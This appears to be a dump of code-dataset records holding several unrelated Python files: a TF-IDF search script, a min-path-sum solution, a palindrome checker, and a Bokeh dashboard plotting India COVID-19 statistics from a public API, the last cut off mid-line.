DataFrame\r\nimport pprint as pp\r\nfrom collections import OrderedDict\r\nfrom nltk import sent_tokenize, word_tokenize, PorterStemmer, WordNetLemmatizer\r\nimport numpy as np\r\nimport math as m\r\nimport operator\r\n\r\n\r\n\r\ndef readData(fileName):\r\n\r\n data = pd.read_excel(fileName)\r\n #data = pd.read_csv(fileName)\r\n\r\n #print(data)\r\n #print(data.shape)\r\n rows = data.shape[0]\r\n columns = data.shape[1]\r\n print(data.shape)\r\n #print(sent_tokenize(data[\"Text\"][1]))\r\n #print(word_tokenize(sent_tokenize(data[\"Text\"][1])[2]))\r\n return data, rows, columns\r\n\r\ndef checkKeys(keySet1, keySet2):\r\n\r\n for key in keySet1:\r\n if key not in keySet2:\r\n return False\r\n\r\n return True\r\n\r\ndef combineDicts(dict1, dict2):\r\n\r\n combinedDict = dict()\r\n\r\n if checkKeys(dict1, dict2):\r\n for k in dict1.keys():\r\n combinedDict[k] = (dict1[k], len(dict2[k]), dict2[k]) #()\r\n else:\r\n return -1\r\n return combinedDict\r\n\r\ndef tokenizer(data: DataFrame, rows, columns):\r\n tokenDict = dict() #\"\": (tf(overall), df, [list of docs it appears in])\r\n tokenDocs = dict()\r\n tokPostings = dict() #\"\": {docid: [tf in that doc, max_tf, doclen], ...}\r\n docInfo = dict()\r\n lematizer = WordNetLemmatizer()\r\n stopWords = set(stopwords.words(\"english\"))\r\n\r\n for i in range(0, rows):\r\n tf = 1\r\n max_tf = 1\r\n doclen = 0\r\n docNo = i\r\n tokens1 = word_tokenize(data[\"Title\"][i])\r\n tokens = list()\r\n #print(data[\"Text\"][i])\r\n sentenceList = sent_tokenize(data[\"Text\"][i])\r\n for sentence in sentenceList:\r\n tmp = word_tokenize(sentence)\r\n for t in tmp:\r\n tokens.append(t)\r\n\r\n #tokens = word_tokenize(sent_tokenize(data[\"Text\"]))\r\n\r\n for t in tokens1:\r\n tokens.append(t)\r\n\r\n for tok in tokens:\r\n doclen += 1\r\n if tok in stopWords:\r\n continue\r\n word = lematizer.lemmatize(tok)\r\n if word in tokenDict:\r\n tokenDict[word] = tokenDict.get(word) + 1\r\n tokenDocs[word].add(docNo)\r\n # tokPostings[word].\r\n else:\r\n tokenDict[word] = 1\r\n tokenDocs[word] = {docNo}\r\n # tokPostings[word] = {docNo:1}\r\n if word in tokPostings:\r\n if docNo in tokPostings[word].keys():\r\n tokPostings[word][docNo][0] = tokPostings[word][docNo][0] + 1\r\n tf = tokPostings[word][docNo][0]\r\n if tf > max_tf:\r\n max_tf = tf\r\n else:\r\n tokPostings[word][docNo] = [1, 0, 0]\r\n else:\r\n tokPostings[word] = {docNo: [1, 0, 0]} # {docid: (tf,max_tf, doclen)}\r\n\r\n docInfo[docNo] = [max_tf, doclen]\r\n for word in tokPostings.keys():\r\n for doc in tokPostings[word]:\r\n tokPostings[word][int(doc)][1] = docInfo[int(doc)][0]\r\n tokPostings[word][int(doc)][2] = docInfo[int(doc)][1]\r\n sumOfDoclens = 0\r\n for doc in docInfo:\r\n sumOfDoclens += docInfo[doc][1]\r\n avgDoclen = sumOfDoclens / rows\r\n fullTokenDict = combineDicts(tokenDict, tokenDocs) # combine dictionaries with same key set\r\n\r\n\r\n if fullTokenDict == -1:\r\n print(\"Failed in combining dictionaries\")\r\n return\r\n # else:\r\n # print(fullTokenDict)\r\n # print(tokenDict)\r\n # stemmedTokenDict, stemmedTokenDocs = stemmer(tokenDict)\r\n return fullTokenDict, tokPostings, avgDoclen\r\n\r\ndef getDocVector(queryVector, docNo, tokDict: dict, tokPostings: dict):\r\n docVector = dict() # {}\r\n for word in queryVector:\r\n if word in tokDict.keys():\r\n if docNo in tokDict[word][2]:\r\n tmp = list() #(df, tf, max_tf, doclen)\r\n tmp.append(tokDict[word][1])\r\n tmp.append(tokPostings[word][docNo][0])\r\n tmp.append(tokPostings[word][docNo][1])\r\n tmp.append(tokPostings[word][docNo][2])\r\n docVector[word] = tmp.copy()\r\n\r\n\r\n\r\n return docVector\r\n\r\ndef calcScore(docVector: dict, queryVector: list, collectionSize):\r\n W1 = np.zeros(len(queryVector))\r\n\r\n Q1 = np.zeros(len(queryVector))\r\n lemmatizer = WordNetLemmatizer()\r\n\r\n similarKeys = list()\r\n query_info = dict() #({word: [tf] })\r\n\r\n for q in queryVector:\r\n if q in query_info:\r\n query_info[q] = query_info.get(q) + 1\r\n else:\r\n query_info[q] = 1\r\n q_maxtf = max(query_info.values())\r\n for q in queryVector:\r\n if q in docVector:\r\n similarKeys.append(q)\r\n for word in similarKeys:\r\n lemma = lemmatizer.lemmatize(word)\r\n tf = float(docVector[lemma][1])\r\n q_tf = float(query_info[lemma])\r\n df_t = float(docVector[lemma][0])\r\n q_df_t = float(query_info[lemma])\r\n maxtf = float(docVector[lemma][2])\r\n index = queryVector.index(lemma)\r\n doclen = float(docVector[lemma][3])\r\n\r\n tf_t_d = 1 + m.log10(tf)\r\n q_tf_t_d = 1 + m.log10(q_tf)\r\n\r\n idf_t = m.log10(collectionSize/(df_t+1))\r\n q_idf_t = m.log10(collectionSize/(q_df_t+1))\r\n\r\n tf_idf = tf_t_d * idf_t\r\n q_tf_idf = q_tf_t_d * q_idf_t\r\n # ###\r\n # [0.4 + 0.6 * log(tf + 0.5) / log(maxtf + 1.0)]\r\n # *[log(collectionsize / df) / log(collectionsize)]\r\n # ###\r\n #w_val1 = (0.4 + 0.6*m.log10(tf + 0.5)/m.log10(maxtf + 1.0)) * (m.log10(collectionSize/df))/m.log10(collectionSize)\r\n w_val1 = tf_idf\r\n q_val1 = q_tf_idf\r\n #q_val1 = (0.4 + 0.6*m.log10(q_tf + 0.5)/m.log10(q_maxtf + 1.0)) * (m.log10(collectionSize/df)/m.log10(collectionSize))\r\n W1[index] = w_val1\r\n Q1[index] = q_val1\r\n\r\n norm_W1 = W1 / np.linalg.norm(W1)\r\n norm_Q1 = Q1 / np.linalg.norm(Q1)\r\n score1 = np.dot(norm_Q1, norm_W1)\r\n\r\n\r\n return score1, norm_W1, norm_Q1\r\n\r\ndef printInfo(fileName, all_vectors1: list, info_vectors1: dict):\r\n file = open(fileName, 'w', encoding=\"utf-8\")\r\n matrix = list()\r\n counter = 0\r\n for item in reversed(all_vectors1):\r\n tmp = list()\r\n\r\n counter += 1\r\n tmp.append(counter)\r\n tmp.append(item[0])\r\n tmp.append(info_vectors1[item[0]][2])\r\n tmp.append(info_vectors1[item[0]][3])\r\n tmp.append(item[1])\r\n tmp.append(info_vectors1[item[0]][0])\r\n tmp.append(info_vectors1[item[0]][1])\r\n\r\n matrix.append(tmp)\r\n\r\n file.write(\"Rank:{}\\nDoc:{}\\nTitle:{}\\nLink:{}\\nScore:{}\\nQueryVec:{}\\nDocVec{}\\n\".format(counter,\r\n item[0],\r\n info_vectors1[item[0]][2],\r\n info_vectors1[item[0]][3],\r\n item[1],\r\n info_vectors1[item[0]][0],\r\n info_vectors1[item[0]][1]))\r\n file.write(\"++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\\n\")\r\n\r\n matrix = np.asmatrix(matrix)\r\n return matrix\r\n\r\n\r\ndef vector_space_model(query, tokDict, tokPostings, collectionSize, data: DataFrame):\r\n stopWords = set(stopwords.words(\"english\"))\r\n lematizer = WordNetLemmatizer()\r\n sorted_all_vectors1 = dict()\r\n queryVector = list()\r\n all_vectors1 = OrderedDict()\r\n info_vectors1 = dict()\r\n\r\n\r\n q = word_tokenize(query)\r\n for word in stopWords:\r\n if word in q:\r\n q.remove(word)\r\n for w in q:\r\n queryVector.append(lematizer.lemmatize(w))\r\n #print(queryVector)\r\n for doc in range(0, collectionSize): #docNoRange = no rows\r\n docVector = getDocVector(queryVector, doc, tokDict, tokPostings)\r\n if len(docVector) == 0:\r\n continue\r\n score1, w1, q1 = calcScore(docVector, queryVector, collectionSize)\r\n all_vectors1[doc] = score1\r\n info_vectors1[doc] = (q1, w1, data[\"Title\"][doc], data[\"Link\"][doc])\r\n sorted1 = sorted(all_vectors1.items(), key=operator.itemgetter(1))\r\n\r\n fname1 = \"query_results.txt\"\r\n matrix = printInfo(fname1, sorted1, info_vectors1)\r\n return matrix\r\n\r\n# data, rows, columns = readData(\"crawled_data.xlsx\")\r\n\r\n# tokenDict, tokPostings, avgDoclen = tokenizer(data, rows, columns)\r\n# outFile1 = open(\"tokDict.txt\", 'w', encoding='utf-8')\r\n# outFile2 = open(\"tokPostings.txt\", 'w', encoding='utf-8')\r\n# pp.pprint(tokenDict, stream=outFile1)\r\n# pp.pprint(tokPostings, stream=outFile2)\r\n# vector_space_model(\"Just across the Potomac river from our nation's capital sits Arlington, Virginia, a beautiful city filled with bustling businesses, thriving tech startups, and an innovative vibe that is drawing founders to this growing region\",tokenDict, tokPostings,rows, data)\r\n\r\n","sub_path":"index/read.py","file_name":"read.py","file_ext":"py","file_size_in_byte":9301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"506527572","text":"class Solution:\n # @param A : list of list of integers\n # @return an integer\n def minPathSum(self, A):\n y = len(A)\n x = len(A[0])\n\n j = 0\n for i in range(1, x):\n A[j][i] = A[j][i-1] + A[j][i]\n\n j = 0\n for i in range(1, y):\n A[i][j] = A[i-1][j] + A[i][j]\n\n for i in range(1, y):\n for j in range(1, x):\n A[i][j] = min(A[i-1][j] + A[i][j], A[i][j-1] + A[i][j])\n\n return A[-1][-1]\n\n def solve(self, matrix):\n ans = self.minPathSum(matrix)\n print(f'iterative ans is {ans}')\n\n\n\n# if __name__ == '__main__':\n# a = [[1, 3, 2],\n# [4, 3, 1],\n# [5, 6, 1]]\n\n# obj = Solution()\n# ans = obj.minPathSum(a)\n# print(f'ans is {ans}')\n","sub_path":"scaler/dp2/dp2/min_sum_path_in_matrix.py","file_name":"min_sum_path_in_matrix.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"185891971","text":"# devuelve true si la cadena enviada como argumento es palindromo\n\ndef validarPalindromo(str):\n is_palindromo = True\n str = str.lower()\n reverse_str = str[::-1]\n print(f'Comparando: {str} con {reverse_str}')\n\n for idx, char in enumerate(str):\n if(char is not reverse_str[idx]):\n is_palindromo = False\n\n print(f'La cadena: {str} es palindromo? R/ {is_palindromo}')\n return is_palindromo\n\n\nvalidarPalindromo('abc123321cba')\nvalidarPalindromo('Carlos')\nvalidarPalindromo('123321')\nvalidarPalindromo('123456')\n\n\n","sub_path":"practica_02_palindromo/palindromo.py","file_name":"palindromo.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"474908855","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom pandas import DataFrame\nimport seaborn as sns\nimport json\nimport requests\nimport os.path\nimport lxml\nfrom matplotlib.ticker import AutoMinorLocator\nimport csv\nfrom pandas.io.json import json_normalize\nimport math\nfrom bokeh.io import show, output_file\nfrom bokeh.models import ColumnDataSource, Legend, LegendItem, Scatter, Label\nfrom bokeh.plotting import figure, output_file, show, output_notebook, curdoc\nfrom bokeh.models.tools import HoverTool\nfrom bokeh.core.properties import value\nfrom bokeh.palettes import Spectral11\nimport itertools\nfrom bokeh.layouts import row, column\nfrom bokeh.models.annotations import Title\nfrom bokeh.models import Panel, Tabs\nfrom datetime import timedelta\nfrom bokeh.models import LinearAxis, Range1d\nfrom bokeh.models import Div\n\n\nbokeh_doc=curdoc()\n\ncases_summary = requests.get('https://api.rootnet.in/covid19-in/stats/history')\n\njson_data = cases_summary.json()\ncases_summary=pd.json_normalize(json_data['data'], record_path='regional', meta='day')\n\ncases_summary['loc']=np.where(cases_summary['loc']=='Nagaland#', 'Nagaland', cases_summary['loc'])\n\nlatest_date=cases_summary['day'].max()\nhighest_state=cases_summary[cases_summary['totalConfirmed']==cases_summary['totalConfirmed'].max()]['loc'].tolist()[0]\n\nlegend_it=[]\n\np = figure(plot_width=1200, plot_height=600, x_axis_type=\"datetime\", sizing_mode=\"scale_both\")\np.title.text='Statewise Cases over Time'\np.title.align='center'\np.title.text_font_size='17px'\np.xaxis.axis_label = 'Date'\np.yaxis.axis_label = 'Number of Cases'\n\n\nfor name, color in zip(cases_summary['loc'].unique(), itertools.cycle(Spectral11)):\n cases_summary['day'] = pd.to_datetime(cases_summary['day'])\n renderer=p.line(cases_summary[cases_summary['loc']==name]['day'], cases_summary[cases_summary['loc']==name]['totalConfirmed'], line_width=2, color=color, alpha=1,\n muted_alpha=0.2)\n\n renderer.visible = False\n\n legend_it.append((name, [renderer]))\n\nlegend1=Legend(items=legend_it[0:16], location=(10,0), click_policy='hide', title=\"Click on States to Switch ON/OFF\", title_text_font_style = \"bold\")\nlegend2=Legend(items=legend_it[17:33], location=(10,0), click_policy='hide', title=\"Click on States to Switch ON/OFF\", title_text_font_style = \"bold\")\n\np.add_layout(legend1,'right')\np.add_layout(legend2,'right')\n\ncases_summary['day']=cases_summary['day'].astype('str')\nsource=ColumnDataSource(cases_summary)\n\nhover = HoverTool(line_policy='next')\nhover.tooltips = [('Date', '@x{%F}'),\n ('Cases', '@y{0000}') # @$name gives the value corresponding to the legend\n]\nhover.formatters = {'@x': 'datetime'}\np.add_tools(hover)\n\ncitation = Label(x=0, y=0, x_units='screen', y_units='screen',\n text='Last Updated : {}'.format(latest_date), render_mode='css', text_font_size='12px')\np.add_layout(citation, 'above')\n\ndiv = Div(text=\"\"\"Source:\n COVID-19 REST API for India: The Ministry of Health and Family Welfare \"\"\",\nwidth=300, height=50, align='start')\n\nfig = column(p,div, sizing_mode='scale_both')\ntab1 = Panel(child=fig, title=\"All Cases - Statewise\")\n\n#statewise death count over time\n\nlegend_it=[]\n\nq = figure(plot_width=1200, plot_height=600, x_axis_type=\"datetime\", sizing_mode=\"scale_both\")\nq.title.text='Statewise Deaths over Time'\nq.title.align='center'\nq.title.text_font_size='17px'\nq.xaxis.axis_label = 'Date'\nq.yaxis.axis_label = 'Number of Deaths'\n\nfor name, color in zip(cases_summary['loc'].unique(), itertools.cycle(Spectral11)):\n cases_summary['day'] = pd.to_datetime(cases_summary['day'])\n renderer=q.line(cases_summary[cases_summary['loc']==name]['day'], cases_summary[cases_summary['loc']==name]['deaths'], line_width=2, color=color, alpha=1,\n muted_alpha=0.2)\n\n renderer.visible = False\n\n legend_it.append((name, [renderer]))\n\nlegend1=Legend(items=legend_it[0:16], location=(10,0), click_policy='hide', title=\"Click on States to Switch ON/OFF\", title_text_font_style = \"bold\")\nlegend2=Legend(items=legend_it[17:33], location=(10,0), click_policy='hide', title=\"Click on States to Switch ON/OFF\", title_text_font_style = \"bold\")\n\nq.add_layout(legend1,'right')\nq.add_layout(legend2,'right')\n\ncases_summary['day']=cases_summary['day'].astype('str')\n\nhover = HoverTool(line_policy='next')\nhover.tooltips = [('Date', '@x{%F}'),\n ('Deaths', '@y{0000}') # @$name gives the value corresponding to the legend\n]\nhover.formatters = {'@x': 'datetime'}\nq.add_tools(hover)\n\ncitation = Label(x=0, y=0, x_units='screen', y_units='screen',\n text='Last Updated : {}'.format(latest_date), render_mode='css', text_font_size='12px')\nq.add_layout(citation, 'above')\n\ndiv = Div(text=\"\"\"Source:\n COVID-19 REST API for India: The Ministry of Health and Family Welfare \"\"\",\nwidth=300, height=50, align='start')\n\nfig = column(q,div, sizing_mode='scale_both')\n\n\ntab2 = Panel(child=fig, title=\"All Deaths - Statewise\")\n\n#statewise case-to-death ratio over time\n\nlegend_it=[]\n\ns = figure(plot_width=1200, plot_height=600, x_axis_type=\"datetime\", sizing_mode=\"scale_both\")\ns.title.text='Statewise Case-to-Death Ratio over Time'\ns.title.align='center'\ns.title.text_font_size='17px'\ns.xaxis.axis_label = 'Date'\ns.yaxis.axis_label = 'Case-to-Death Ratio'\n\ncases_summary['case-death-ratio']=cases_summary['totalConfirmed']/cases_summary['deaths']\ncases_summary['case-death-ratio']=cases_summary['case-death-ratio'].replace(np.inf,0)\ncases_summary['case-death-ratio']=cases_summary['case-death-ratio'].replace(np.nan,0)\n\n\nfor name, color in zip(cases_summary['loc'].unique(), itertools.cycle(Spectral11)):\n cases_summary['day'] = pd.to_datetime(cases_summary['day'])\n renderer=s.line(cases_summary[cases_summary['loc']==name]['day'], cases_summary[cases_summary['loc']==name]['case-death-ratio'], line_width=2, color=color, alpha=1,\n muted_alpha=0.2)\n\n renderer.visible = False\n\n legend_it.append((name, [renderer]))\n\nlegend1=Legend(items=legend_it[0:16], location=(10,0), click_policy='hide', title=\"Click on States to Switch ON/OFF\", title_text_font_style = \"bold\")\nlegend2=Legend(items=legend_it[17:33], location=(10,0), click_policy='hide', title=\"Click on States to Switch ON/OFF\", title_text_font_style = \"bold\")\n\ns.add_layout(legend1,'right')\ns.add_layout(legend2,'right')\n\ncases_summary['day']=cases_summary['day'].astype('str')\n\nhover = HoverTool(line_policy='next')\nhover.tooltips = [('Date', '@x{%F}'),\n ('Case-to-death Ratio', '@y{000.000}') # @$name gives the value corresponding to the legend\n]\nhover.formatters = {'@x': 'datetime'}\ns.add_tools(hover)\n\ncitation = Label(x=0, y=0, x_units='screen', y_units='screen',\n text='Last Updated : {}'.format(latest_date), render_mode='css', text_font_size='12px')\ns.add_layout(citation, 'above')\n\ndiv = Div(text=\"\"\"Source:\n COVID-19 REST API for India: The Ministry of Health and Family Welfare \"\"\",\nwidth=300, height=50, align='start')\n\nfig = column(s,div, sizing_mode='scale_both')\n\n\ntab3 = Panel(child=fig, title=\"Cases-to-Death Ratio over Time - Statewise\" )\n\n#comparison of states for case-to-death ratio on the latest date\n\ncases_summary['case-death-ratio']=cases_summary['case-death-ratio'].replace(np.inf,0)\ncases_summary['case-death-ratio']=cases_summary['case-death-ratio'].replace(np.nan,0)\n\ncases_summary_latest_date=cases_summary[cases_summary['day']==latest_date][['loc','case-death-ratio']].reset_index()\nhighest_case_death_ratio_state=cases_summary_latest_date[cases_summary_latest_date['case-death-ratio']==cases_summary_latest_date['case-death-ratio'].max()]['loc'].tolist()[0]\n\nsource=ColumnDataSource(cases_summary_latest_date)\n\nt = figure(x_range=cases_summary_latest_date['loc'],plot_width=1200, plot_height=700, sizing_mode=\"scale_both\")\nt.title.text='Statewise Case-to-Death Ratio'\nt.title.align='center'\nt.title.text_font_size='17px'\nt.xaxis.axis_label = 'States'\nt.yaxis.axis_label = 'Case-to-Death ratio'\nt.xaxis.major_label_orientation = math.pi/2\n\n#top_states=cases_summary['case-death-ratio'].sort_values(ascending=False)['loc']\n\nt.vbar(cases_summary_latest_date['loc'],top=cases_summary_latest_date['case-death-ratio'], width=0.9, color=[color for name, color in zip(cases_summary_latest_date['loc'], itertools.cycle(Spectral11))])\n\nhover = HoverTool(line_policy='next')\nhover.tooltips = [('State', '@x'),\n ('Case-to-Death ratio', '@top') # @$name gives the value corresponding to the legend\n]\nt.add_tools(hover)\n\ndiv1 = Div(text=\"\"\"Latest Date: {}

\n Total Cases: {:,}
\n Total Deaths: {:,}
\n Total Recovered: {:,}

\n {} has {:,} cases with the highest number of cases per death: {:.2f}

\n {} has the highest number of cases of {:,} with {:.2f} cases per death. \"\"\"\n .format(latest_date,cases_summary[cases_summary['day']==latest_date]['totalConfirmed'].sum(),\n cases_summary[cases_summary['day']==latest_date]['deaths'].sum(),\n cases_summary[cases_summary['day']==latest_date]['discharged'].sum(),\n highest_case_death_ratio_state,\n cases_summary[cases_summary['loc']==highest_case_death_ratio_state]['totalConfirmed'][-1:].tolist()[0],\n cases_summary_latest_date['case-death-ratio'].max(),\n highest_state,\n cases_summary[cases_summary['loc']==highest_state]['totalConfirmed'][-1:].tolist()[0],\n cases_summary_latest_date[cases_summary_latest_date['loc']==highest_state]['case-death-ratio'].tolist()[0]),\nwidth=200, height=280)\n\ndiv2=Div(text=\"\"\"Top 6 states with highest cases per death:
{}
{}
{}
{}
{}
{}
\"\"\"\n .format(cases_summary_latest_date.sort_values('case-death-ratio',ascending=False)['loc'].head(6).tolist()[0],\n cases_summary_latest_date.sort_values('case-death-ratio',ascending=False)['loc'].head(6).tolist()[1],\n cases_summary_latest_date.sort_values('case-death-ratio',ascending=False)['loc'].head(6).tolist()[2],\n cases_summary_latest_date.sort_values('case-death-ratio',ascending=False)['loc'].head(6).tolist()[3],\n cases_summary_latest_date.sort_values('case-death-ratio',ascending=False)['loc'].head(6).tolist()[4],\n cases_summary_latest_date.sort_values('case-death-ratio',ascending=False)['loc'].head(6).tolist()[5]),\n width=200, height=200)\n\nlayout = column(div1, div2)\nlayout= row(t,layout)\n\ndiv = Div(text=\"\"\"Source:\n COVID-19 REST API for India: The Ministry of Health and Family Welfare \"\"\",\nwidth=300, height=50, align='start')\n\nlayout = column(layout,div, sizing_mode='scale_both')\n\n\ntab4 = Panel(child=layout, title=\"Case-to-Death Ratio - Statewise\" )\n\n\n#Deceased data from cases summary\ncases_summary = requests.get('https://api.rootnet.in/covid19-in/stats/history')\njson_data = cases_summary.json()\ncases_summary=pd.json_normalize(json_data['data'])\ncases_summary.columns=cases_summary.columns.str.replace('summary.','')\n\ncases_summary['daily deaths']=cases_summary['deaths'].diff(1)\ncases_summary['daily confirmed']=cases_summary['total'].diff(1)\ncases_summary['daily discharged']=cases_summary['discharged'].diff(1)\n\n#Total cases over time\ncases_summary['day'] =cases_summary['day'].astype('str')\nu = figure(x_range=cases_summary['day'], plot_width=1200, plot_height=700, sizing_mode=\"scale_both\")\nu.title.text='Cases over Time - Daily'\nu.title.align='center'\nu.title.text_font_size='17px'\nu.xaxis.axis_label = 'Date'\nu.yaxis.axis_label = 'Cases'\nu.xaxis.major_label_orientation = math.pi/2\n\ntotal_bar=u.vbar(cases_summary['day'], top=cases_summary['daily confirmed'], width=0.9, legend_label='Daily Confirmed', color='#5e4fa2')\ndischarged_bar=u.vbar(cases_summary['day'], top=cases_summary['daily discharged'], width=0.9, legend_label='Daily Recovered', color='#66c2a5')\ndeceased_bar=u.vbar(cases_summary['day'], top=cases_summary['daily deaths'], width=0.9, legend_label='Daily Deaths', color='#3288bd')\n\nhover_total_bar = HoverTool(line_policy='next', renderers=[total_bar])\nhover_total_bar.tooltips = [('Day', '@x'),\n ('Daily Cases', '@top') # @$name gives the value corresponding to the legend\n]\n\nhover_deceased_bar = HoverTool(line_policy='next', renderers=[deceased_bar])\nhover_deceased_bar.tooltips = [('Day', '@x'),\n ('Daily Deaths', '@top') # @$name gives the value corresponding to the legend\n]\n\nhover_discharged_bar = HoverTool(line_policy='next', renderers=[discharged_bar])\nhover_discharged_bar.tooltips = [('Day', '@x'),\n ('Daily Recovered', '@top') # @$name gives the value corresponding to the legend\n]\n\nu.add_tools(hover_total_bar)\nu.add_tools(hover_deceased_bar)\nu.add_tools(hover_discharged_bar)\n\nu.legend.location='top_left'\nu.legend.click_policy='hide'\nu.legend.title='Click to Switch Legend ON/OFF'\n\ntotal_bar.visible=False\ndeceased_bar.visible=False\ndischarged_bar.visible=False\n\ndiv = Div(text=\"\"\"Latest Date: {}

\n Total Cases: {:,}
\n Total Deaths: {:,}
\n Total Recovered: {:,}

\n Fatality Rate: {:.2%}
\n Recovery Rate: {:.2%}

\n Important Dates:

\n {}:
The highest number of cases - {:,}

\n {}:
The highest number of deaths - {:,}

\n {}:
The highest number of Recovery - {:,} \"\"\"\n .format(latest_date,\n cases_summary.iloc[-1]['total'],\n cases_summary.iloc[-1]['deaths'],\n cases_summary.iloc[-1]['discharged'],\n (cases_summary['deaths'][-1:]/cases_summary['total'][-1:]).tolist()[0],\n (cases_summary['discharged'][-1:]/cases_summary['total'][-1:]).tolist()[0],\n cases_summary[cases_summary['daily confirmed']==cases_summary['daily confirmed'].max()]['day'].tolist()[0],\n cases_summary['daily confirmed'].max().astype('int64'),\n cases_summary[cases_summary['daily deaths']==cases_summary['daily deaths'].max()]['day'].tolist()[0],\n cases_summary['daily deaths'].max().astype('int64'),\n cases_summary[cases_summary['daily discharged'] == cases_summary['daily discharged'].max()]['day'].tolist()[0],\n cases_summary['daily discharged'].max().astype('int64')),\nwidth=200, height=100)\nlayout = row(u, div)\n\ndiv = Div(text=\"\"\"Source:\n COVID-19 REST API for India: The Ministry of Health and Family Welfare \"\"\",\nwidth=300, height=50, align='start')\n\nlayout = column(layout,div, sizing_mode='scale_both')\n\ntab5 = Panel(child=layout, title=\"Total Cases over Time\" )\n\n\n#daily growth rate in cases and deaths\ncases_summary['daily_case_growth']=cases_summary['total'].pct_change()\ncases_summary['daily_death_growth']=cases_summary['deaths'].pct_change()\ncases_summary['daily_discharge_growth']=cases_summary['discharged'].pct_change()\n\n\ncases_summary['day'] = cases_summary['day'].astype('str')\nv = figure(x_range= cases_summary['day'], plot_width=1200, plot_height=700, sizing_mode=\"scale_both\")\nv.title.text='Growth Rate over Time - All India'\nv.title.align='center'\nv.title.text_font_size='17px'\nv.xaxis.axis_label = 'Date'\nv.yaxis.axis_label = 'Growth Rate'\nv.xaxis.major_label_orientation = math.pi/2\n\ncase_growth_line=v.line(cases_summary['day'], cases_summary['total'].pct_change(), line_width=2, legend_label='Daily Case Growth Rate', color='#5e4fa2')\ndeath_growth_line=v.line(cases_summary['day'],cases_summary['deaths'].pct_change(), line_width=2, legend_label='Daily Deceased Growth Rate', color='#3288bd')\ndischarge_growth_line=v.line(cases_summary['day'],cases_summary['discharged'].pct_change(), line_width=2, legend_label='Daily Recovered Growth Rate', color='#66c2a5')\n\ncases_summary['day'] = cases_summary['day'].astype('str')\nhover_case_growth = HoverTool(line_policy='next', renderers=[case_growth_line])\nhover_case_growth.tooltips = [('Day', '@x'),\n ('Daily Cases Growth Rate', '@y{0:.0%}') # @$name gives the value corresponding to the legend\n]\n\nhover_death_growth = HoverTool(line_policy='next', renderers=[death_growth_line])\nhover_death_growth.tooltips = [('Day', '@x{%F}'),\n ('Daily Deceased Growth Rate', '@y{0:.0%}') # @$name gives the value corresponding to the legend\n]\n\nhover_discharge_growth = HoverTool(line_policy='next', renderers=[discharge_growth_line])\nhover_discharge_growth.tooltips = [('Day', '@x{%F}'),\n ('Daily Recovered Growth Rate', '@y{0:.0%}') # @$name gives the value corresponding to the legend\n]\n\nhover_death_growth.formatters = {'@x': 'datetime'}\nhover_case_growth.formatters = {'@x': 'datetime'}\nhover_discharge_growth.formatters = {'@x': 'datetime'}\n\nv.add_tools(hover_case_growth)\nv.add_tools(hover_death_growth)\nv.add_tools(hover_discharge_growth)\n\nv.legend.location='top_right'\nv.legend.click_policy='hide'\nv.legend.title='Click to Switch Legend ON/OFF'\n\ncase_growth_line.visible=False\ndeath_growth_line.visible=False\ndischarge_growth_line.visible=False\n\ndiv = Div(text=\"\"\"Latest Date: {}
Total Cases: {:,}
Total Deaths: {:,}

Latest Case Growth Rate: {:.2%}
Latest Death Growth Rate: {:.2%}
Latest Revovered Growth Rate: {:.2%}

\n Fatality Rate: {:.2%}
\n Recovery Rate: {:.2%}\"\"\"\n .format(latest_date,cases_summary.iloc[-1]['total'],cases_summary.iloc[-1]['deaths'],cases_summary.iloc[-1]['daily_case_growth'],cases_summary.iloc[-1]['daily_death_growth'],cases_summary.iloc[-1]['daily_discharge_growth'],\n (cases_summary['deaths'][-1:] / cases_summary['total'][-1:]).tolist()[0], (cases_summary['discharged'][-1:]/cases_summary['total'][-1:]).tolist()[0] ),\nwidth=200, height=100)\nlayout = row(v, div)\n\ndiv = Div(text=\"\"\"Source:\n COVID-19 REST API for India: The Ministry of Health and Family Welfare \"\"\",\nwidth=300, height=50, align='start')\n\nlayout = column(layout,div, sizing_mode='scale_both')\n\ntab6 = Panel(child=layout, title=\"Growth Rate over Time\" )\n\n\n#Daily cases growth rate - statewise\n\ncases_summary = requests.get('https://api.rootnet.in/covid19-in/stats/history')\njson_data = cases_summary.json()\ncases_summary=pd.json_normalize(json_data['data'], record_path='regional', meta='day')\ncases_summary['loc']=np.where(cases_summary['loc']=='Nagaland#', 'Nagaland', cases_summary['loc'])\n\nlegend_it=[]\n\nw = figure(plot_width=1200, plot_height=600, x_axis_type=\"datetime\", sizing_mode=\"scale_both\")\nw.title.text='Case Growth Rate'\nw.title.align='center'\nw.title.text_font_size='17px'\nw.xaxis.axis_label = 'Date'\nw.yaxis.axis_label = 'Cases Growth Rate'\n\ncases_summary['daily_case_growth']=cases_summary['totalConfirmed'].groupby(cases_summary['loc']).pct_change()\ncases_summary['daily_death_growth']=cases_summary['deaths'].groupby(cases_summary['loc']).pct_change()\ncases_summary['daily_case_growth']=cases_summary['discharged'].groupby(cases_summary['loc']).pct_change()\n\n\nfor name, color in zip(cases_summary['loc'].unique(), itertools.cycle(Spectral11)):\n cases_summary['day'] = pd.to_datetime(cases_summary['day'])\n renderer=w.line(cases_summary[cases_summary['loc']==name]['day'], cases_summary[cases_summary['loc']==name]['totalConfirmed'].pct_change(), line_width=2, color=color, alpha=1,\n muted_alpha=0.2)\n\n renderer.visible = False\n\n check_negative_growth = lambda name: name + '*' if (\n (cases_summary[cases_summary['loc'] == name]['totalConfirmed'].pct_change() < 0).any()) else name\n legend_it.append((check_negative_growth(name), [renderer]))\n\nlegend1=Legend(items=legend_it[0:16], location=(10,0), click_policy='hide', title=\"Click on States to Switch ON/OFF\", title_text_font_style = \"bold\")\nlegend2=Legend(items=legend_it[17:33], location=(10,0), click_policy='hide', title=\"Click on States to Switch ON/OFF\", title_text_font_style = \"bold\")\n\nw.add_layout(legend1,'right')\nw.add_layout(legend2,'right')\n\ncases_summary['day']=cases_summary['day'].astype('str')\nsource=ColumnDataSource(cases_summary)\n\nhover = HoverTool(line_policy='next')\nhover.tooltips = [('Date', '@x{%F}'),\n ('All Cases Growth Rate', '@y{0:.0%}') # @$name gives the value corresponding to the legend\n]\nhover.formatters = {'@x': 